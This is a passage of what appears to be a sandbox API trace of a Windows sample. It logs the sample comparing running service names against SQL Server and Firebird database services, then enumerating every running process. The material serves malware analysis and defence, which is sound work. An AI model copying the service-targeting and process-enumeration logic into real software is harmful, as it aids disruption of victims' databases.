(lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0130.925] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0130.925] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0130.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0130.925] lstrlenW (lpString="NlaSvc") returned 6 [0130.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0130.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0130.925] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0130.926] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0130.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0130.926] lstrlenW (lpString="nsi") returned 3 [0130.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0130.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0130.926] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0130.926] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0130.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0130.926] lstrlenW (lpString="PcaSvc") returned 6 [0130.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0130.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0130.926] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0130.926] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0130.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0130.926] lstrlenW (lpString="PlugPlay") returned 8 [0130.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0130.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0130.926] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0130.926] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0130.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0130.926] lstrlenW (lpString="Power") returned 5 [0130.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0130.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0130.926] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0130.926] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0130.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0130.926] lstrlenW (lpString="ProfSvc") returned 7 [0130.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0130.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0130.926] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0130.926] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0130.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0130.926] lstrlenW (lpString="RpcEptMapper") returned 12 [0130.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0130.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0130.926] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0130.926] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0130.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0130.927] lstrlenW (lpString="RpcSs") returned 5 [0130.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0130.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0130.927] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0130.927] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0130.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0130.927] lstrlenW (lpString="SamSs") returned 5 [0130.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0130.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0130.927] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0130.927] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0130.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0130.939] lstrlenW (lpString="Schedule") returned 8 [0130.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0130.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0130.939] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0130.939] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0130.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0130.939] lstrlenW (lpString="SecurityHealthService") returned 21 [0130.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0130.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0130.939] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0130.939] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0130.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0130.940] lstrlenW (lpString="SENS") returned 4 [0130.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0130.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0130.940] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0130.940] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0130.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0130.940] lstrlenW (lpString="ShellHWDetection") returned 16 [0130.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0130.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0130.940] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0130.940] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0130.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0130.940] lstrlenW (lpString="Spooler") returned 7 [0130.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0130.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0130.940] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0130.940] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0130.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0130.940] lstrlenW (lpString="SSDPSRV") returned 7 [0130.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0130.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0130.940] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0130.940] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0130.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0130.940] lstrlenW (lpString="StateRepository") returned 15 [0130.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0130.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0130.940] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0130.940] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0130.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0130.941] lstrlenW (lpString="SysMain") returned 7 [0130.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0130.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0130.941] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0130.941] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0130.941] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x69bb60 | out: hHeap=0x5a0000) returned 1 [0130.941] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1078 [0130.945] Process32FirstW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0130.946] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0130.947] lstrlenW (lpString="System") returned 6 [0130.947] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0130.948] lstrlenW (lpString="smss.exe") returned 8 [0130.948] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0130.948] lstrlenW (lpString="csrss.exe") returned 9 [0130.949] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0130.949] lstrlenW (lpString="wininit.exe") returned 11 [0130.949] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0130.950] lstrlenW (lpString="csrss.exe") returned 9 [0130.950] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0130.951] lstrlenW (lpString="winlogon.exe") returned 12 [0130.951] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0130.951] lstrlenW (lpString="services.exe") returned 12 [0130.951] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0130.952] lstrlenW (lpString="lsass.exe") returned 9 [0130.952] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.953] lstrlenW (lpString="svchost.exe") returned 11 [0130.953] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0130.953] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0130.953] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0130.954] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0130.954] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.955] lstrlenW (lpString="svchost.exe") returned 11 [0130.955] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0130.955] lstrlenW (lpString="dwm.exe") returned 7 [0130.955] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.956] lstrlenW (lpString="svchost.exe") returned 11 [0130.956] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.957] lstrlenW (lpString="svchost.exe") returned 11 [0130.957] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.958] lstrlenW (lpString="svchost.exe") returned 11 [0130.958] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.962] lstrlenW (lpString="svchost.exe") returned 11 [0130.962] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.962] lstrlenW (lpString="svchost.exe") returned 11 [0130.962] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.963] lstrlenW (lpString="svchost.exe") returned 11 [0130.963] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.964] lstrlenW (lpString="svchost.exe") returned 11 [0130.964] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.965] lstrlenW (lpString="svchost.exe") returned 11 [0130.965] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.965] lstrlenW (lpString="svchost.exe") returned 11 [0130.965] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0130.966] lstrlenW (lpString="spoolsv.exe") returned 11 [0130.966] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.967] lstrlenW (lpString="svchost.exe") returned 11 [0130.967] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.967] lstrlenW (lpString="svchost.exe") returned 11 [0130.967] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0130.968] lstrlenW (lpString="audiodg.exe") returned 11 [0130.968] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0130.969] lstrlenW (lpString="sihost.exe") returned 10 [0130.969] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.969] lstrlenW (lpString="svchost.exe") returned 11 [0130.969] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0130.970] lstrlenW (lpString="taskhostw.exe") returned 13 [0130.970] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0130.971] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0130.971] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0130.972] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0130.972] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0130.972] lstrlenW (lpString="explorer.exe") returned 12 [0130.972] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0130.973] lstrlenW (lpString="Memory Compression") returned 18 [0130.973] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0130.974] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0130.974] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0130.980] lstrlenW (lpString="SearchUI.exe") returned 12 [0130.980] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0130.981] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0130.981] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0130.982] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0130.982] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0130.985] lstrlenW (lpString="taskhostw.exe") returned 13 [0130.985] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0130.986] lstrlenW (lpString="UsoClient.exe") returned 13 [0130.986] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0130.987] lstrlenW (lpString="msoia.exe") returned 9 [0130.987] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0130.988] lstrlenW (lpString="taskhostw.exe") returned 13 [0130.988] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0131.181] lstrlenW (lpString="msoia.exe") returned 9 [0131.181] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0131.182] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0131.182] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0131.183] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0131.183] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0131.184] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0131.184] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace.exe")) returned 1 [0131.185] lstrlenW (lpString="screensaver_fireplace.exe") returned 25 [0131.185] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xmlupperarc.exe")) returned 1 [0131.186] lstrlenW (lpString="xmlupperarc.exe") returned 15 [0131.186] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: 